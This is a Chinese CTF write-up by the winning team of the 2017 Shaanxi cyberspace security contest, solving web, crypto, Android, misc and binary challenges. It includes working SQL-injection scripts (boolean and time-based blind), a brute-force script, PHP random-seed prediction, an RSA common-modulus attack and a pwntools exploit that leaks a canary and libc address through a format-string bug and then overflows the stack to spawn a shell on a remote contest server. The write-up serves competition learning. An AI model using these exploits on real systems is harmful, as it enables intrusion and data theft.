【CTF攻略】2017年陕西省网络空间安全技术大赛过关攻略

作者:Mirage

预估稿费:500RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。文章为本次大赛第一名的队伍Mirage的writeup。


web


签到题

直接源代码代码审计,php弱类型 然后第二关 构造

<?php class a{ var $key; } $b = new a(); $b->key=0; $c=json_encode($b); echo $c; ?>

image

抽抽奖

没有数据传输,因此判断代码在本地。然后在JQuery.js文件里发现JSfuck,解密然后console直接输入getFlag即可

image

继续抽

直接爆破,脚本如下

import requests
import hashlib
def encode(str):
    end = ""
    for s in str:
        if ord(s)<128:
            end+="%x"%(255-(ord(s)+128))
        if ord(s)>127:
            end+="%x"%(255-(ord(s)-128))
    return end
flag = []
for x in range(0,200):
    cookies = {'PHPSESSID': '3k2rd4536me3rjsojf473vctd7'}
    r = requests.get("http://117.34.111.15:81/token.php",cookies=cookies)
    m = hashlib.md5(str(x)).hexdigest()
    print x
    print "http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m)
    s = requests.get("http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m),cookies=cookies)
    flag.append(s.text)
    print s.text
print set(flag)

image

So easy

代码审计发现 这里没有用escape_string,因此存在注入 可是折腾了好久

function show($username){
  global $conn;
  $sql = "select role from `user` where username ='".$username."'";
  $res = $conn ->query($sql);
  if($res->num_rows>0){
  echo "$username is ".$res->fetch_assoc()['role'];
  }else{
  die("Don't have this user!");
  }
}

然后通过过滤函数,找到了去年sysclover的一篇Writeup 然后才发现我前段时间遇到过这个操作符构造注入了,可是当时比较忙,没时间做,因此技能点没有get

脚本长这样,虽然丑点,但是能跑出passwd

# --coding:utf-8--    import requests
url="http://117.34.111.15:89/?action=show"
passwd=""
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for i in xrange(1,33):
    print i
    for p in lists:
        param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
        print requests.post(url,data=param).content
        if "admin" in requests.post(url,data=param).content:
            passwd=passwd+p
            break
print passwd

登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过,因为刚前段时间看过ph师傅的最近刚写的文章,然后很快就反应过来了

image

Wrong

随手就出swp文件

  3 error_reporting(0);
  4 function create_password($pw_length =  10)
  5 {
  6 $randpwd = "";
  7 for ($i = 0; $i < $pw_length; $i++)
  8 {
  9 $randpwd .= chr(mt_rand(33, 126));
 10 }
 11 return $randpwd;
 12 }
 13 
 14 session_start();
 15 mt_srand(time());
 16 $pwd=create_password();
 17 
 18 if($pwd==$_GET['pwd'])
 19 {
 20   if($_SESSION['userLogin']==$_GET['login'])
 21 echo "Good job, you get the key";
 22 }
 23 else
 24 {echo "Wrong!";}

刚开始丢给队友做,队友做了好久,然后硬是没刚出来。 看了一下,思路大致如下

$pwd==$_GET['pwd']、$_SESSION['userLogin']==$_GET['login']

两个点,第一个可以通过清空cookie,造成NULL==NULL

第二个点则需要本地提前时间生成pwd pwd生成脚本(注:linux时间改成和服务时间一样,时区最好也改了吧,反正我第一次没改时区没有pass)

  1 <?php
  2 function create_password($pw_length = 10)
  3 {
  4 $randpwd = "";
  5 for($i=0;$i<$pw_length;$i++)
  6 {
  7 $randpwd.=chr(mt_rand(33,126));
  8 }
  9 return $randpwd;
 10 }
 11 echo date("Y-m-d  h:i:sa")."n";
 12 mt_srand(time());
 13 $pwd=create_password();
 14 echo $pwd;
 ?>

image

just a test

不知道是谁,在某个地方插了个弹窗。造成XSS的假象,然后打了一中午,发现什么也没有,就很绝望! 后来队友提醒是不是注入,然后在URL里试了一下真的是注入???exm??? 先把脚本放上

# -*- coding:utf-8 -*-
import requests
import time
flag=""
for j in xrange(1,50):
    for i in xrange(33,127):
        url="http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20ascii(substr(f1ag,"+str(j)+",1))%20from%20test.`fl@g`%20limit%200,1)="+str(i)+",sleep(0.4),1)%2523"
        a=time.time()
        requests.get(url)
        #print time.time()-a
        print '.',
        if time.time()-a>4:
            print chr(i)
            flag=flag+str(chr(j))
            break
print flag
#database() 5 
#database() test
#table1 fl@g
#column f1ag
#http://117.34.111.15:83/chandni-jewel' union select if((select ascii(substr(f1ag," str(j) ",1)) from test.fl@g limit 0,1)=" str(i) ",sleep(0.4),1)%23
#http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20length(column_name)%20from%20information_schema.columns%20limit 1,1)="+str(i)+",sleep(0.4),1)%2523

开始爆Flag始终没有爆出来,又很绝望。 怀疑人生然后把payload放到Bp里结果报错了,才发现表名里有个@,在payload里加个反引号就行了

服务器响应不是很好,跑了很多遍才跑出来flag

image

admin

这题和逆向狗研究了一晚上,只过了第一关。但是题目还是蛮有意思的

hint www.tar.gz

大致浏览看了下功能

刚开始一直想用hitcon 2015的crypt1的思路去伪造登陆,但是后来发现因为在

$token = '';
$user = '';
$admin = 0;
if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
    $sign = $_COOKIE['sign'];
    $token = $_COOKIE['token'];
    $arr = explode('|', token_decrypt($token));
    if (count($arr) == 3) {
        if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
            $user = $arr[0];
            $admin = (int)$arr[1];
        }
    }
}

有md5校验,因此第一种想法被pass了

然后逆狗想到可以 构造 $username|$admin|$md5+padding 为用户名注册然后修改cookie即可伪造登录 因为是CFB模式

image

第二个明文分组的解密只与第一个分组的密文有关,因此可以解出flag的后半段 然而没什么luan用!

比赛结束以后pcat说是压缩包的时间,然后把每个时间都试过去?然而?


Crypto


签到-欢迎来到CSTC2017 10

ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=

签到题, base64 解密,flag : flag{WeiSuoFyu_BieLang}

crypt2 200

通过流量包的分析可以发现有两个人在用相同的N不同的E,发送给服务器,然后返回一段密文

这个时候就公用了一个N,可以使用RSA的共模攻击来解决这个问题。

python
e1 = 3
n1 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
e2 =7 
n2 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
print s
n=n1
if s1<0:
    s1 = - s1
    c1 = modinv(c1, n)
elif s2<0:
    s2 = - s2
    c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print hex(m)[2:-1].decode('hex')
跑出来flag为 flag{Hc0mm0nModulusR$AH}


Mobile


拯救鲁班七号 100

先将lib文件导下来,然后用IDA来分析,是将明文经过一系列的替换,然后再与一个字符串进行比对

android1-1.png

这里有一个__android_log_print 帮助我们分析了,我在动态调试里直接使用logcat 输出转换后的格式,然后相对应替换一下位置就可以了。

android1-0.png

需要替换位置的 flag为 S!@#@1FD23154A34

最后flag : flag{!@#@ASDF34511234}

The Marauder's Map 150

用jeb反编译之后 可以看到三串base64

"dGVzdA==" test
"WWVhaH4h";Yeah~!
"dXNlcnM="; users
"Mg=="; 2

还有是对数据库进行了一系列的操作,所以就将数据库文明件test导出。

使用了 SQLite format 3的数据库格式。 分析之后在这个数据库里可以找到几个表名和字段

CREATE TABLE `sqlitebrowser_rename_column_new_table` (
    `userid`    TEXT,
    `age`   int,
    `birthday`  TEXT,
    `id`    INTEGER
)
CREATE TABLE `users1` (
    `userid`    TEXT,
    `age`   INTEGER,
    `birthday`  TEXT,
    `id`    INTEGER
)
CREATE TABLE "users" (
    `userid`    TEXT,
    `age`   int,
    `birthday`  TEXT,
    `id`    INTEGER
)

接下来使用python 脚本提取数据库

import shutil
import sqlite3
conn = sqlite3.connect('test')
for row in conn.execute('select userid, age, birthday,id from users'):
print  row
conn.close()

提取两个表都使用相同的办法,然后就是解密这个birthday字段了。

(u'zhangsan', 21, u'9838e8884968b968c998e838c9a89838e88829', 1)
(u'lisi', 20, u'9838e888496bfda98afdbb98a9b9a9d9cdfa29', 2)
(u'wangwu', 20, u'9838e88849c908780889b8086908a998a8a83829', 3)
(u'maybe', 23, u'9838e88849897808fcc8e818fcb9a8383829', 4)
(u'how', 23, u'9838e8884968b98cc9fce8c9fcc838a8e8d929', 5)
(u'manual', 22, u'9838e88849e8c9fcc8d969c9b9e83829', 6)
(u'how', 24, u'9838e888496a8c28fc1808b9fc28a8c9c968188829', 1)
(u"I've", 23, u'9838e8884918a8a8b8fc6908a9d9fcd838a8c9c968188829', 2)
(u'been', 22, u'9838e88849b908fc386899a8fc98d9a8a829', 3)
(u'wasting', 22, u'9838e88849b808fc68b9fc9808d9fc28a829', 4)
(u'my', 21, u'9838e888496afcc9a818c9a8fc68b929', 5)
(u'time', 18, u'9838e888496afc28a8e818b9fc68b929', 6)

birthday地方经过了加密

android2-1.png

具体的算法在lib.so里,算法也不复杂,就是简单的将已经字符变成了俩字符。

然后写了一个c语言的脚本来暴力跑,可以发现id是2的一个是正确解

#include<stdio.h>
#include<string.h>
int change(int a1)
{
  int v1; // r3@3
  if ( a1 > 9 || a1 < 0 )
  {
if ( a1 <= 9 || a1 > 15 )
  v1 = 255;
else
  v1 = (unsigned __int8)(a1 + 'W');
  }
  else
  {
v1 = (unsigned __int8)(a1 + '0');
  }
  return v1;
}
int main(){
    char flag[]={"9838e888496bfda98afdbb98a9b9a9d9cdfa29"};
    for(int j=0;j<strlen(flag);j+=2){
        for(int i=0;i<255;i++){
            if(change(~i&0xf)==flag[j]&&change((i>>4)^0xe)==flag[j+1]){
                printf("%c",i);
            }
        }
    }
    return 0;
}

flag : flag{Y0uG0Tfutur3@}

取证密码 200

这一道android也是比较简单的。虽然是有加载库的,但是完全没难度呀

android3-2.png

android3-1.png

简单分析一下他的流程就是

#include<stdio.h>
int main(){
    char arr[]={"yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W"};
    char index[]={0x39,0x20,7,0xA,0x20,0x29,0x13,2,0x3A,0xC,0x11,0x31,0x3B,0xB,7};
    for(int i=0;i<15;i++){
        printf("%c",arr[index[i]]);
    }
}

如果使用一下动态调试更是分分钟出结果。

flag: flag{A1!N1HenBUCu0O!}

人民的名义-抓捕赵德汉1 200

刚开始看到100分的题目都吓死,出现这个题目的时候真的感觉很简单。

看到有一个md5字符串,直接试了一下没想到就轻松的过了。

android4-2.png

android4-1.png

flag: flag{monkey99}

人民的名义-抓捕赵德汉2 200

相当于jar的逆向,这个题目恶心的地方就是去加混淆了

android5-1.png

具体的算法其实不是很复杂,这里比较重要,但是这里有一个难点就是重写了arraycopy,这里调用了start的main函数。。我在这里去了一下混淆,勉强很够的到字符串,然后经过 ((c>>1)+15) 之后的字符串,这里解密出来为 "JsnatterrtJuaththovacke"

android5-2.png

android5-3.png

写个一个java脚本跑了一下

java
public class test {
    //static String arr1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";    
    //static String arr2 = "ZYXWVUTSRQPONMLKJIHGFEDCBA";
    public static void main(String args[]){
        String arr1 = "JsnatterrtJuaththovacke";
      for(int i=0;i<19;i++){
          if(i==4||i==9||i==14||i==19){
              System.out.print('-');
          }else{
              System.out.print(arr1.charAt(check(i,arr1)));
          }
      }
    }
    public static int check(int i,String arg){
        return te(i)%arg.length();
    }
    public static int te(int i){
        if(i>2){
            return te(i-1)+te(i-2);
        }
        return 1;
    }
}

最后得到flag : flag{sssn-trtk-tcea-akJr}


MISC


一维码 100

给了一个条形码文件,用扫码工具扫一下得到 keyword:hydan

一看这个条形码文件巨大,有500多K,肯定有诈,用stegslove打开

misc1-1.png

选中最低位,在lsb下有ELF文件头,果断保存了这个bin文件,逆向分析了一波,,什么都没有。

这个文件是就是一个tar工具。

然后想到是使用hydan,百度了一下hydan,第一条就是。

乾坤 125

一个流量包文件,直接丢进wireshark分析一波,发现大多是http协议的流量,在 "文件 -> 导出对象" 选择HTTP,查看其传输内容,发现有两个通过邮箱传输的压缩文件。

3.png

点进去查看下,发现是文件名都为flag.zip,但是大小不同的文件。把他们都解压一遍,得到“encode.py”、“flag.exe”两个文件,用winhex查看flag.exe,在其末尾发现编码字符,接下来就是写出对应的解码脚本。脚本如下:

python
from base64 import b64decode
def decode(a):
    a = list(a)
    for j in range(0,len(a)):
        if a[j]=='*':
            a[j]='W'
    for k in range(0,len(a)):
        if a[k]=='_':
            a[k]='1'
    a.reverse()
    flag_1=''.join(a)
    for i in range(0,25):
        flag_1=b64decode(flag_1)
    print flag_1
with open("plaint.txt","r") as f:
    decode(f.read())

轨迹 150

记得X-NUCA的misc专场出过USB的流量分析题

http://bobao.360.cn/learning/detail/3351.html

tshark.exe -r trace.io -T fields -e usb.capdata > usbdata.txt

01:00:00:00:ff:ff:00:00
01:00:00:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00

跑出来这样的数据。

第一位没什么用,第二位是0代表没有按键,1代表鼠标左击,2代表鼠标右击。

第三第四位 合起来 像word字节,代表水平方向负数、正数代表左右移。

第五第六位 合起来 代表垂直方向上下移动。

直接使用脚本

nums = []
keys = open('usbdata.txt','r')
out = open('data.txt','w')
posx = 60
posy = 10
for line in keys:
    # if len(line) != 12 :
         # continue
    x = int(line[6:8],16)
    y = int(line[12:14],16)
    # print x,y
    if x > 127 :
        x -= 256
    if y > 127 :
        y -= 256
    posx += x
    posy += y
    btn_flag = int(line[3:5],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 :
        out.write( "%d %dn"%(posx ,posy))
keys.close()
out.close()

得到坐标之后

再到kali用 gnuplot 来画图,

misc3-1.png

flag{stego_xatu@}

种棵树吧 100

第一个图片后面连接了一个zip。

解压出一个gif但是少了一点文件头,添加GIF89文件头。然后可以看到一张图片。

misc4-1.png

misc4-2.png

misc4-3.png

第二张图直接看属性

misc4-4.png

就得到 Post-order{YR!eVa-gLAoxdj{pw}8zkUnGuIHh:r65f2lFsEi} In-order{RY!heHVaL-goAI{dxjGpnUw8}kzuEr:s56fFl2i}

hi! HERe Is Your FLAG :flag{n52V-jpU6d_kx8zw}

接下来按照层序排列可以得到flag:flag{n52V-jpU6d_kx8zw}

我们的秘密 250

这一题比较复杂。

先用二进制查看器看了一下压缩包的结构,发现有很多个readme.txt

然后将最底层的一个readme.zip抠出来,试了一下伪加密,是可以过的。

里面是"为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。"

然后前面一个zip是真加密,这里我想到了使用zip的明文攻击

跑了我一个多小时才跑出来,,,电脑太差劲了。

misc5-1.png

跑出来是 3xatu2o17

misc5-3.png

解压出三个文件,然后wav的是莫斯电码 解出来是,CTFSECWAR2017

试了一下提交flag然后没过

接下来想到还有一个mp4然后用各种工具去尝试,加密密钥为CTFSECWAR2017。在使用到 OurSecret的时候,结果正确了得到flag

misc5-2.png

flag{v1de0c0nc3a1lala}

什么玩意

这一题初看是一个蓝牙的pin码破解,在github上找到了脚本,BTcrack

《无线网络安全攻防实战进阶》杨哲 写的这一本书中也包含了这一个的讲解。

而且网上也找到了相同的题目文件。

misc6-1.png

同时也获得了 link key 。但是第一个文件 只有数字,,没有这方面的知识完全不会做。。只能够做到这一层了。

misc6-2.png

真的是什么玩意儿!


Bin


Now you see me 200

这个题目我想要打人了。。出题人这样就没有意思了。

在exe的属性里面,放了flag的前半段。就是

bin1-1.png

解密出来为 flag{root@mail:

bin1-2.png

在ida中首先找到了字符串,就是 Verification code:

然后可以使用 OD去跟踪这一部分的代码了。

具体的加密函数为sub_402640。

是使用 有这样的操作,输入的长度为9. 应该都是要输入数字。

然后分成三组,每一组记作a1,a2,a3

(a1+a2)*2-a1 == cmp1
(a2*3)-a2 ==cmp2
(a2*5+a3*2)-a3 == cmp3

比对的数组为 0x0b 0x06 0x15 0x0b 0x04 0x0e 0x16 0x10 0x31

写了一个简单脚本暴力了一下,轻松得到flag

cpp
#include<stdio.h>
#include<string.h>
int main(){
    char flag[]={0x0b ,0x06 ,0x15 ,0x0b ,0x04 ,0x0e ,0x16 ,0x10 ,0x31};
    for(int i=0;i<16;i++){
        for(int j=0;j<16;j++){
            for(int z=0;z<16;z++){
                if(((i+j)*2-i==flag[6])&&(j*3-j==flag[7])&&(j*5+z*2-z)==flag[8]){
                    printf("%d %d %dn",i,j,z);
                }
            }
        }
    }
}

得到536 724 689

所以 flag{root@mail:0IdWan9}

Magical Box 200

首先看了下防护机制

bin3-1.png

然后在IDA中可以看到一个相当明显的格式化字符串漏洞 

bin3-2.png

got表无法修改,但是在栈空间中可以找到canary的值,以及___libc _ start _main函数地址

bin3-3.png

同时对输入的用户名进行了一步异或操作后进行验证

bin3-4.png

bin3-5.png

已经已知了s2,动态调试出了用户名为admin2017c,继续跟下去后发现一个栈溢出漏洞

bin3-6.png

写完EXP后本地能过远程过不了,猜测是__lib_start_main函数的本地偏移与远程不同采取爆破的办法出了flag

bin3-7.png

附上exp

python
from pwn import *
#context(log_level="debug")
#p = process("./pwn_box")
#libc = ELF('libc.so.6')
libc = ELF('libc.so.6_pwnbox')
elf = ELF('pwn_box')
puts_got = 0x0804b030
printf_got = 0x0804b010
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0],"b *0x08048A11nc")
#launch_gdb()
for x in range(240,0xff):
    try:
        print x
        p = remote('117.34.80.134',7777)
        #p = remote('127.0.0.1',10001)
        p.recvuntil("?n")
        p.sendline("%7$x")
        p.recvuntil("!")
        canary = int('0x'+p.recv(8),16)
        #print hex(canary)
        p.recvuntil("?n")
        p.sendline("%43$x")
        p.recvuntil("!")
        libc_start_main_addr = int('0x'+p.recv(8),16)-x
        #print hex(libc_start_main_addr)
        plt =  libc.symbols['__libc_start_main']
        system_addr = libc_start_main_addr- (plt - libc.symbols['system'])
        binsh_addr = libc_start_main_addr- (plt - next(libc.search('/bin/sh')))
        #print hex(system_addr)
        #print hex(binsh_addr)
        p.recvuntil("?n")
        p.sendline("admin2017c")
        p.recvuntil(".nn")
        p.sendline('add')
        p.recvuntil(": ")
        p.sendline("20")
        p.recvuntil(": ")
        p.sendline("a")
        p.recvuntil(": ")   
        payload = 'a'*30 + p32(canary)+'b'*0xc+p32(system_addr)+p32(0)+p32(binsh_addr)
        p.sendline(payload)
        p.interactive()
    except:
        p.close()
        continue
#x=243
(完)